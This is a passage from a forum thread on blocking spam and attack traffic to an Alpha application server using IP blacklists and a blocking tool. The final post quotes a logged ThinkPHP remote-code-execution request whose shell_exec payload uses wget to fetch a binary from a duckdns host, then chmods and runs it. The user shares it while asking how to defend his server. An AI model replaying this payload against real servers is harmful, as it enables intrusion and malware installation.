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How I stopped thousands of spam hits on my Alpha server

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  • #16
    Re: How I stopped thousands of spam hits on my Alpha server

    Frank/Gary,

    That is where the industry-maintained blacklists come in. Those will block known hackers/spammers regardless of country of origin. How they arrive at that information is fascinating, using "honeypots" to lure in hackers/spammers and a reputation system for IPs and depending on what blacklist you subscribe to, an IP may be on or off the list. You can even get "blacklists" for IPs used by various big companies.
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    • #17
      Re: How I stopped thousands of spam hits on my Alpha server

      Steve,

      So besides buying the ipblocker license you also have to subscribe to a service to get those blacklists I suppose ?
      Frank

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      • #18
        Re: How I stopped thousands of spam hits on my Alpha server

        Blacklists are free. The blocker has a scheduling process that sucks them in periodically. If there is interest I will draft up the entire process. There are alternatives like running Alpha behind another web server like Apache or Abyss.
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        • #19
          Re: How I stopped thousands of spam hits on my Alpha server

          Or putting those lists in a IIS webconfig file so once the IIS will be available for production that may be a solution too although you probably then have to manage the whole thing yourself manually while ipblocker offers a gui and makes things easier
          Frank

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          • #20
            Re: How I stopped thousands of spam hits on my Alpha server

            Steve, could you provide a link to the software that you are using. I am getting a lot of hits that do not seem legit to me. Thank you.
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            • #21
              Re: How I stopped thousands of spam hits on my Alpha server

              Here is the product link: http://www.beethink.com/BeeGuardian/.../IPBlocker.htm
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              • #22
                Re: How I stopped thousands of spam hits on my Alpha server

                Hi Steve,
                I have since setup the BeeThink software on a couple customer servers it does work very smoothly.

                Good find, thanks for sharing it with everyone...

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                • #23
                  Re: How I stopped thousands of spam hits on my Alpha server

                  Hello Steve,

                  My server is getting the following request:

                  58.126.56.174 - - [01/Feb/2020:10:19:28 -0700] "GET /index.php?s=/index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 200 0
                  Which causes an unhandled exception in the Alpha Server, eventually crashing it.

                  [Sat Feb 01 10:19:28 2020] [error] An unrecoverable error occurred processing this request. The request will be terminated. [Variable "Session" not found.] at line 337 in addins build 2399
                  [Sat Feb 01 10:19:28 2020] [error] An unrecoverable error occurred processing this request. The request will be terminated. [An unhandled exception (c0000005) was generated.] at line 178 in addins build 2399
                  [Sat Feb 01 10:19:28 2020] [error] Fatal server error: [An unhandled exception (c0000005) was generated.] at line 178 in addins build 2399
                  Any idea how can I stop this?

                  Best regards,
                  Jose

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